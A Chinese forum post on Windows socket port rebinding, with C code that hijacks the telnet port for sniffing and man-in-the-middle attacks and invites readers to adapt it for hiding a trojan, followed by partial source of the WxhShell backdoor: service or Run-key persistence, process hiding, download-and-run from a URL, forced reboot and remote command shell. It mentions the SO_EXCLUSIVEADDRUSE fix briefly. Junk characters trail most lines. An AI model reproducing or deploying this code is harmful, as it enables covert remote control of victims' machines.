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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,s&~U<Z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iDc|9"|Tf3  
<OSvRWP)  
  saddr.sin_family = AF_INET; 1[9j`~[([  
#2ASzCe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '$-,;vnP0  
*r$.1nke  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +Z2<spqG  
KXCmCn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >I~z7 JS  
^QR'yt3e  
  这意味着什么?意味着可以进行如下的攻击: ;o459L>sW  
Kg-X]yu*0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i9U_r._qj;  
l0xFt ~l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) LlY*r+Cgl1  
}(EOQ2TI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z}2e;d 7  
WTs[Sud/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G11.6]?Gg  
Jd"s~n<>K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N4|q2Jvj6  
lNVAKwW2#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )Hm[j)YI  
Er1u1@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NVWeJ+w  
bMOM`At>z  
  #include rGGepd  
  #include HKN"$(Q  
  #include A=]F_  
  #include    810<1NP  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4@iJ|l  
  int main() kS#DKo  
  { cGzYW~K  
  WORD wVersionRequested; nYt\e]3  
  DWORD ret; H-KwkH`L4  
  WSADATA wsaData; _D,f 4.R  
  BOOL val; ,T*_mDVY  
  SOCKADDR_IN saddr; VD3MJ8!w  
  SOCKADDR_IN scaddr; $_zkq@  
  int err; m&0BbyE.z  
  SOCKET s; fB,1s}3Hn  
  SOCKET sc; W)msaq,  
  int caddsize; "u8o?8+q~  
  HANDLE mt; G,|]a#w&v.  
  DWORD tid;   B~g05`s  
  wVersionRequested = MAKEWORD( 2, 2 ); ;=\5$J9  
  err = WSAStartup( wVersionRequested, &wsaData ); pQ^,.[[  
  if ( err != 0 ) { vcJb\LW  
  printf("error!WSAStartup failed!\n"); R:BBNzY}f  
  return -1; tDHHQ  
  } &z X 3  
  saddr.sin_family = AF_INET; giPo;z\c  
   RR"W O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qTh='~m4[  
pkN:D+g S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); skD k/-*R  
  saddr.sin_port = htons(23); v&b.Q:h*'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VFmg"^k5  
  { 2*q: ^  
  printf("error!socket failed!\n"); &Pg-|Ql  
  return -1; K&IrTA j}  
  } jw(> @SXz  
  val = TRUE; 26#Jhb E+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /.kna4k  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QJIItx4hE  
  { y(3c{y@~X  
  printf("error!setsockopt failed!\n"); Ma=6kX]  
  return -1; }vUlTH  
  } M?~<w)L}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `KJYm|@i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {[t"O u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n]C%(v!u3  
FO(0D?PCR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %6IlE.*,  
  { k4F"UG-`  
  ret=GetLastError(); IgiF,{KE,  
  printf("error!bind failed!\n"); DR yESi  
  return -1; 2~&hstd%  
  } AXh3LA  
  listen(s,2); M o"JV  
  while(1) Jm (&G  
  { Q f+p0E;  
  caddsize = sizeof(scaddr); }EedHS  
  //接受连接请求 2^ ,H_PS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <{NYD .  
  if(sc!=INVALID_SOCKET) ',H$zA?i  
  { 42J';\)oP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1ntkM?  
  if(mt==NULL) BU]WN7]D$  
  { *bxJ)9B  
  printf("Thread Creat Failed!\n"); o!=l B fI  
  break; /y9J)lx  
  } 4Ay`rG  
  } j.;  
  CloseHandle(mt); ^#BGA|j  
  } % L >#  
  closesocket(s); lsB9;I^+x  
  WSACleanup(); 1] %W\RHxo  
  return 0; iJZ|[jEDV  
  }   JIP+ !2  
  DWORD WINAPI ClientThread(LPVOID lpParam) };"+ O  
  { 'Uko^R)(  
  SOCKET ss = (SOCKET)lpParam; X<Th{kM2  
  SOCKET sc; T}t E/  
  unsigned char buf[4096]; {7=WU4$  
  SOCKADDR_IN saddr; 'ybth  
  long num; Y%fVt|  
  DWORD val; 1qLl^DW  
  DWORD ret; wTlK4R#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;J(rw  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &}nBenYp  
  saddr.sin_family = AF_INET; !]rETP_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J+71FP`ZH  
  saddr.sin_port = htons(23); &SjHrOG?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .|-l+   
  { S$jV|xK B  
  printf("error!socket failed!\n"); <}EV*`w4  
  return -1; B?;' lDz*  
  } *gd?>P7\0  
  val = 100; <Qcex3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ! EX?m }7  
  { QY~<~<d+G  
  ret = GetLastError(); U/X|i /  
  return -1; ~_ u*\]-  
  } "?.'{,Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4fw1_pv_D  
  { @e! Zc3  
  ret = GetLastError(); /ojO>Y[<   
  return -1; Sa;<B:|  
  } t;.^K\S4  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m"gni #  
  { UCn*UX  
  printf("error!socket connect failed!\n"); r zMFof  
  closesocket(sc); Ew %{ i(d  
  closesocket(ss); ~!]&>n;=G  
  return -1; Ml8 YyF/~  
  } 3XeXzPj  
  while(1) 9;0V  /y  
  { )-+\M_JK5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?$|uT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W\@?e32  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nT.L}1@  
  num = recv(ss,buf,4096,0); j+DE|Q&]I  
  if(num>0) h4CTTe)  
  send(sc,buf,num,0); w]>"'o{{  
  else if(num==0) &1z)fD2  
  break; oA4D\rn8"  
  num = recv(sc,buf,4096,0); $!YKZ0)B'0  
  if(num>0) 0'?V|V=v  
  send(ss,buf,num,0); 7FmbV/&c  
  else if(num==0) qwq/Xcv  
  break; iNod</+"K  
  } .FIt.XPzv  
  closesocket(ss); omM&{ }8g  
  closesocket(sc); op hH9D  
  return 0 ; f._l105.  
  } =X-^YG3x  
(jU/Wj!q  
\Fj5v$J-  
========================================================== <y@,3DD3A9  
p91`<>Iw  
下边附上一个代码,,WXhSHELL |@ikx{W  
<^lJr82  
========================================================== }3v'Cp0L  
$[Tt#CJ w  
#include "stdafx.h" zRwb"  
v5(q) h  
#include <stdio.h> !p }`kG  
#include <string.h> }.0Bl&\UK  
#include <windows.h> ^)&Ly_xrU  
#include <winsock2.h> ecr886  
#include <winsvc.h> Ua):y) A  
#include <urlmon.h> _& 8O~8tW  
&qJPwO  
#pragma comment (lib, "Ws2_32.lib") )^4ko  
#pragma comment (lib, "urlmon.lib") 3gb|x?  
x|]\1sb"  
#define MAX_USER   100 // 最大客户端连接数 e8$l0gzaD  
#define BUF_SOCK   200 // sock buffer drW~)6Lr@  
#define KEY_BUFF   255 // 输入 buffer Ne3R.g9;Z  
Lltc 4Mzw  
#define REBOOT     0   // 重启 OnZF6yfN=3  
#define SHUTDOWN   1   // 关机 b,nn&B5@{  
q5Fs)B  
#define DEF_PORT   5000 // 监听端口 YiD-F7hf.*  
 )|v^9  
#define REG_LEN     16   // 注册表键长度 8RVS)D''  
#define SVC_LEN     80   // NT服务名长度 L2KG0i`+  
-x{dc7y2  
// 从dll定义API `/z_rqJ0CL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k@#5$Ejc2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,eR8 ~(`=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6SE6AL<b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $:Rn;  
@.'z* |z  
// wxhshell配置信息 =WC-Sj{I  
struct WSCFG { !RS9%ES_?  
  int ws_port;         // 监听端口 (=1)y'.  
  char ws_passstr[REG_LEN]; // 口令 U4Z[!s$  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Du@2w3Cq  
  char ws_regname[REG_LEN]; // 注册表键名 N;uUx#z  
  char ws_svcname[REG_LEN]; // 服务名 Ab/j(xr=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W+_RhJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p8Iw!HE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7_-w_"X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0axxQ!Ivx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~ |6dH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :M06 ;:e  
[r(Qs|  
}; r#A_RZ2~@  
#?dUv#  
// default Wxhshell configuration z"lqrSJ:  
struct WSCFG wscfg={DEF_PORT, |'tW=  
    "xuhuanlingzhe", @5WgqB  
    1, L'l F/qe^  
    "Wxhshell", "< v\M85&  
    "Wxhshell", zrs<#8!Y_!  
            "WxhShell Service", d{f@K71*  
    "Wrsky Windows CmdShell Service", 9qKzS<"h  
    "Please Input Your Password: ", [QT 1Ju64  
  1, `-_N@E1'>  
  "http://www.wrsky.com/wxhshell.exe", !YiuwFt  
  "Wxhshell.exe" |g%mP1O  
    }; ;imRh'-V6  
EeB ]X24  
// 消息定义模块 4e +~.5r@i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tAjx\7IX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b.b@bq$1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2jl)mL  
char *msg_ws_ext="\n\rExit."; b;#\~( a  
char *msg_ws_end="\n\rQuit."; 3o*FPO7?  
char *msg_ws_boot="\n\rReboot..."; nU(DYHc+l  
char *msg_ws_poff="\n\rShutdown..."; ,_D" ?o  
char *msg_ws_down="\n\rSave to "; h>alGLN>  
'CXRG$D  
char *msg_ws_err="\n\rErr!"; %K(0W8&  
char *msg_ws_ok="\n\rOK!"; 1j0-9Kg'  
z>;$im   
char ExeFile[MAX_PATH]; H6 &7\Wbk  
int nUser = 0; mffIf1f  
HANDLE handles[MAX_USER]; t|V0x3X  
int OsIsNt; 1S0pd-i  
4,G w#@  
SERVICE_STATUS       serviceStatus; |ETiLR=&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ][d,l\gu+s  
y:d{jG^  
// 函数声明 ;gMgj$mI  
int Install(void); F[saP0 *  
int Uninstall(void); o%[U  
int DownloadFile(char *sURL, SOCKET wsh); EVt? C+  
int Boot(int flag); 2Vk\L~K  
void HideProc(void); '9s5OTkN ;  
int GetOsVer(void); w5KPB5/zu  
int Wxhshell(SOCKET wsl); BByCM Y  
void TalkWithClient(void *cs); .R5y:O  
int CmdShell(SOCKET sock); B&Y_2)v  
int StartFromService(void); 2 -Xdoxw  
int StartWxhshell(LPSTR lpCmdLine); #eK=  
ow6*Xr8eQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q6 ?z_0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ar.AL'  
|>2FRPK  
// 数据结构和表定义 #z!^ <,  
SERVICE_TABLE_ENTRY DispatchTable[] = aRJcSV  
{ 5\Fz!  
{wscfg.ws_svcname, NTServiceMain}, {_#yz\j  
{NULL, NULL} &<5+!c V=  
}; :jEPu3E:  
@]HXP_lyD/  
// 自我安装 "&~ 0T#  
int Install(void) TZRcd~5$  
{ U7iuY~L  
  char svExeFile[MAX_PATH]; I]nHbghcW  
  HKEY key; %O%=rUD  
  strcpy(svExeFile,ExeFile); \}_Yd8  
ir16   
// 如果是win9x系统,修改注册表设为自启动 }LP!)|E  
if(!OsIsNt) { O7t(,uox3y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vp}^NNYf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &v!WVa?  
  RegCloseKey(key); Gi FXX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KCuG u}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B*1W`f  
  RegCloseKey(key); ZJ,cQ+fn  
  return 0; Thr*^0$C  
    } 7@}$|u:JUF  
  } 8K9$,Ii  
} gNpJ24QK  
else { ;WU<CKYG*  
>dzsQ^Nj  
// 如果是NT以上系统,安装为系统服务 AeuX Qt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (08I  
if (schSCManager!=0) kJQ#Wz|z]  
{ ?=;qK{)37  
  SC_HANDLE schService = CreateService "YU{Fkl#j  
  ( m~#%Q?_ %  
  schSCManager, &o3K%M;C?  
  wscfg.ws_svcname, Xz 4 x  
  wscfg.ws_svcdisp, lb*8G  
  SERVICE_ALL_ACCESS, 5 BtX63  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _-~`03 `!  
  SERVICE_AUTO_START, Zm ogM7B  
  SERVICE_ERROR_NORMAL, sJ z@7.  
  svExeFile, wJ<Oo@snm  
  NULL, 8Q{9>^  
  NULL, l8h&|RY[  
  NULL, kcie}Be  
  NULL, ,)!u)wz  
  NULL (Y% Q|u  
  ); qT:zEt5  
  if (schService!=0) \C^;k%{LV  
  { ra N)8w}-  
  CloseServiceHandle(schService); qmy%J  
  CloseServiceHandle(schSCManager); 1xE]6he4{T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Mg,:UC:  
  strcat(svExeFile,wscfg.ws_svcname); +;}#B~:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #-% A[7Cdp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JPn$FQD  
  RegCloseKey(key); k>jbcSY(z<  
  return 0; _ee dBpV  
    } 7Q w|!  
  } mo{MR:>)  
  CloseServiceHandle(schSCManager); KInk^`C/H  
} G rmzkNlN  
} kql0J|P?  
Sn4[3JV$l  
return 1; )u]9193  
} ?E%ELs_Dl  
R"MRnr_4K  
// 自我卸载 P + "Y  
int Uninstall(void) jw}}^3.  
{ l1U=f]  
  HKEY key; 0Uk@\[1ox  
K$K^=> I"o  
if(!OsIsNt) { )Or  .;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :'F}Dy  
  RegDeleteValue(key,wscfg.ws_regname); klgy;jSEr  
  RegCloseKey(key); !+)AeDc:j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z@Q@^ &0Mr  
  RegDeleteValue(key,wscfg.ws_regname); G$0c '9d*(  
  RegCloseKey(key); ,j:|w+l  
  return 0; v[plT2"s  
  } mGUO6>g  
} OA/WtQ5  
} cKb)VG^  
else { $D v\ e  
x_Jwd^`t!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R" )bDy?  
if (schSCManager!=0) uEyH2QO  
{ 'I;!pUfVp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,lA.C%4au~  
  if (schService!=0) P}ok*{"J<>  
  { Z[\ O=1E,  
  if(DeleteService(schService)!=0) { pD]0`L-HJU  
  CloseServiceHandle(schService); )irRO8  
  CloseServiceHandle(schSCManager); Y HSYu  
  return 0; "8^5>EJWv  
  } Y)N-V ]5L  
  CloseServiceHandle(schService); o&AM2U/?  
  } ac kqH+'  
  CloseServiceHandle(schSCManager); P`s  
} "s!7dKXI"  
} kr$ b^"Ku  
@/ZF` :   
return 1; J_Ltuso  
} 'XY`(3q  
[.RO'>2z  
// 从指定url下载文件 )o-Q!<*1  
int DownloadFile(char *sURL, SOCKET wsh) o?1;<gs  
{ Xc"&0v%;#  
  HRESULT hr; [aI]y =v  
char seps[]= "/"; lrf v+  
char *token; X#3et'  
char *file; uVzFsgBp  
char myURL[MAX_PATH]; >5s6u`\  
char myFILE[MAX_PATH]; OpM(j&  
I;VuW  
strcpy(myURL,sURL); A)%A!  
  token=strtok(myURL,seps); [,2|Flf e  
  while(token!=NULL) bAKiq}xG%i  
  { Ig3;E+*>  
    file=token; :qChMU|Y6  
  token=strtok(NULL,seps); 1]orUF&_  
  } 54 >-  
7j nIv];i  
GetCurrentDirectory(MAX_PATH,myFILE); %dQxJMwj  
strcat(myFILE, "\\"); ,g%&|FAP  
strcat(myFILE, file); 5~mh'<:  
  send(wsh,myFILE,strlen(myFILE),0); Z2im@c67{  
send(wsh,"...",3,0); "D?z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +)2s-A f-  
  if(hr==S_OK) `tjH<  
return 0; *tm0R>?!  
else JXyM\}9-X  
return 1; Ag F,aZU  
atXS-bg*  
} Qs9gTBS;  
DW)2 m;  
// 系统电源模块 DJgTA]$&  
int Boot(int flag) <SI}lQ'i  
{ U|g:`v7  
  HANDLE hToken; 4 C}bJzZ  
  TOKEN_PRIVILEGES tkp; Sz H"  
&\apwD  
  if(OsIsNt) { F(t=!k,4\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?c0xRO%y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A:7k+4  
    tkp.PrivilegeCount = 1; (@iMLuewK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N^Bo .U0\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]E]2o  
if(flag==REBOOT) { 5jUYN-$GO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C@jJ.^ <<  
  return 0; $.9{if#o&  
} uYE`"/h,1e  
else { z{Mr$%'EY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [o F|s-"9!  
  return 0; i hh/sPi  
} .BFYY13H  
  } Ok n(pJ0  
  else { tK&' <tZh  
if(flag==REBOOT) { 5Ri6Z#qm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F <hJp,q9  
  return 0; kWdi59 5  
} IpP~Uz  
else { qhT@;W/X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7O, U?p  
  return 0; 61xs%kxb..  
} rk)##)  
} 271&i  
6M13f@v  
return 1; (PfqRk1Y  
} >Wz;ySEz  
msVO H%wH  
// win9x进程隐藏模块 LVJxn2x6  
void HideProc(void) ,_"AT! r  
{ ;A#`]-i C  
JA)] _H P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ot]Ru,y->+  
  if ( hKernel != NULL ) PssMTEf  
  { 7EXI6jGJ|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )c8j}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :]J Ye*  
    FreeLibrary(hKernel); EY \H=@A  
  } JGuN:c$  
%'[&U#-  
return; 1 5A*7|  
} _Gu- uuy  
n5{Xj:}  
// 获取操作系统版本 .nyfYa+  
int GetOsVer(void) 1&e} ms  
{ =C~/7N,lW]  
  OSVERSIONINFO winfo; b!)<-|IK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  =|9H  
  GetVersionEx(&winfo); 9'r:~ O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R9B&dvG  
  return 1; 9Lr'YRl[W  
  else `3:.??7N  
  return 0; sqW* pi  
} 23h% < ,  
%Q.&ZhB  
// 客户端句柄模块 ZcaX'5} !S  
int Wxhshell(SOCKET wsl) 4fe7U=#;Y  
{ t*?0D\b 2  
  SOCKET wsh; %JLk$sP9y`  
  struct sockaddr_in client; yrR1[aT  
  DWORD myID; HeG)/W?r  
.-<k>9S7_  
  while(nUser<MAX_USER) IKi5 v~bE  
{ B9wPU1  
  int nSize=sizeof(client); 8cA~R-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z`\F@pX%wC  
  if(wsh==INVALID_SOCKET) return 1; a<@N-Exr  
Ps 8%J;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A,`8#-AX  
if(handles[nUser]==0) VqS#waNrx  
  closesocket(wsh); kcQ'$<Mz<  
else FXs*vg`  
  nUser++; 4n4?4BEn  
  } hiUD]5Kp  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8H_l:Z[:i  
D_x +:1(  
  return 0; 4T=u`3pD7l  
} 6,9o>zT%H  
~j<+k4I~  
// 关闭 socket .j-IX1Sa  
void CloseIt(SOCKET wsh) ?2oHZ%G  
{ ?]x|Zy  
closesocket(wsh); k2AJXw  
nUser--; e/^=U7:io  
ExitThread(0); #es9d3 ~\  
} SXy=<%ed  
F}=aBV|-  
// 客户端请求句柄 ##4GK08!  
void TalkWithClient(void *cs) 'z$Q rFW  
{ Jm42b4  
bP^Je&nS*  
  SOCKET wsh=(SOCKET)cs; 0)m(;>'70  
  char pwd[SVC_LEN]; gmm|A9+tv  
  char cmd[KEY_BUFF]; >Bgw}PI  
char chr[1]; X@f "-\  
int i,j; $ mI0Bk  
vPD] hs  
  while (nUser < MAX_USER) { |M+<m">E  
rs~wv('  
if(wscfg.ws_passstr) { ObiT-D?)g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Oi nK['  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VhNz8)  
  //ZeroMemory(pwd,KEY_BUFF); Iyyh!MVF  
      i=0; EbdfV-E  
  while(i<SVC_LEN) { TsGE cxIg  
}6@pJ G  
  // 设置超时 $k2*[sn,  
  fd_set FdRead; tuhA 9}E  
  struct timeval TimeOut; M`l.t -ut  
  FD_ZERO(&FdRead); *q1%IJ  
  FD_SET(wsh,&FdRead); ;dzL}@we  
  TimeOut.tv_sec=8; /jRRf"B  
  TimeOut.tv_usec=0; #cCL.p"]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u5Ftu?t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V?=8".GiX  
VL*ovD%-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Et/&^&=\-  
  pwd=chr[0]; !Uq^7Mw  
  if(chr[0]==0xd || chr[0]==0xa) { @0SC"CqM  
  pwd=0; v_nj$1dY6  
  break; uNHF'?X  
  } R>(@Z M&  
  i++; 1Y]TA3:  
    } J52 o g4l  
 0gfA#|'  
  // 如果是非法用户,关闭 socket 7=DjI ~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Y k5 }`d!:  
} 48*Do}l]  
u6bXv(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yx>"bv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A$a1(8H  
n2fbp\I  
while(1) { <Ce2r"U1e  
$]A/ o(  
  ZeroMemory(cmd,KEY_BUFF); uECsh2Uin  
Gqy,u3lE  
      // 自动支持客户端 telnet标准   yfC^x%d7G  
  j=0; 1hziXC0WY  
  while(j<KEY_BUFF) { th&[Nt7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P [k$vD  
  cmd[j]=chr[0]; Q J7L7S  
  if(chr[0]==0xa || chr[0]==0xd) { l!g]a2x*  
  cmd[j]=0; $.[#0lCI  
  break; pe{; ~-|6  
  } y})70w@ +_  
  j++; g=$1cC+(  
    } gw}Mw  
~mR'Q-hi<  
  // 下载文件 >z.<u|r2  
  if(strstr(cmd,"http://")) { ?|ZTaX6A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ti<;7Yb  
  if(DownloadFile(cmd,wsh)) f0BdXsV#g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D7S'*;F  
  else `8Lo{P  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z%n(O(^L  
  } Vl2XDkhq  
  else { )u qA(R>  
F<(i.o(  
    switch(cmd[0]) { V@\%)J'g  
  @`,1:  
  // 帮助 -%I2[)F<  
  case '?': { B0ndcB-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y]3>7q%  
    break; al[n, u  
  } X 51Yfr  
  // 安装 iT)z_  
  case 'i': { A4]s~Ur  
    if(Install()) xSBc-u#< G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eVM/uDD  
    else dF~8XYo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [V) L  
    break; u3o#{~E/#  
    } _Y[jyD1>  
  // 卸载 56Vb+0J'  
  case 'r': { PtTHPAKj  
    if(Uninstall()) 5=1^T@~#&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D2,z)O%VK  
    else nM0[P6p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [u._q:A  
    break; u@4V7;L  
    } 6HlePTf8  
  // 显示 wxhshell 所在路径 wW%4d  
  case 'p': { H/"lAXfb  
    char svExeFile[MAX_PATH]; <$hu   
    strcpy(svExeFile,"\n\r"); kn/Ao}J74z  
      strcat(svExeFile,ExeFile); YXI'gn2b#  
        send(wsh,svExeFile,strlen(svExeFile),0); l3IWoa&sh  
    break; >(snII  
    } }YHX-e<Yx]  
  // 重启 lbuAE%  
  case 'b': { Y X_ gb/A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v$ub~Q6W  
    if(Boot(REBOOT)) $/7pYl\n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Lnsr\BA  
    else { E~AjK'Z  
    closesocket(wsh); D91e\|]  
    ExitThread(0); 3q?\r` a  
    } T]?n)L,2  
    break; e0$=!QlPr  
    } rgOfNVyJG<  
  // 关机 STJJU]H  
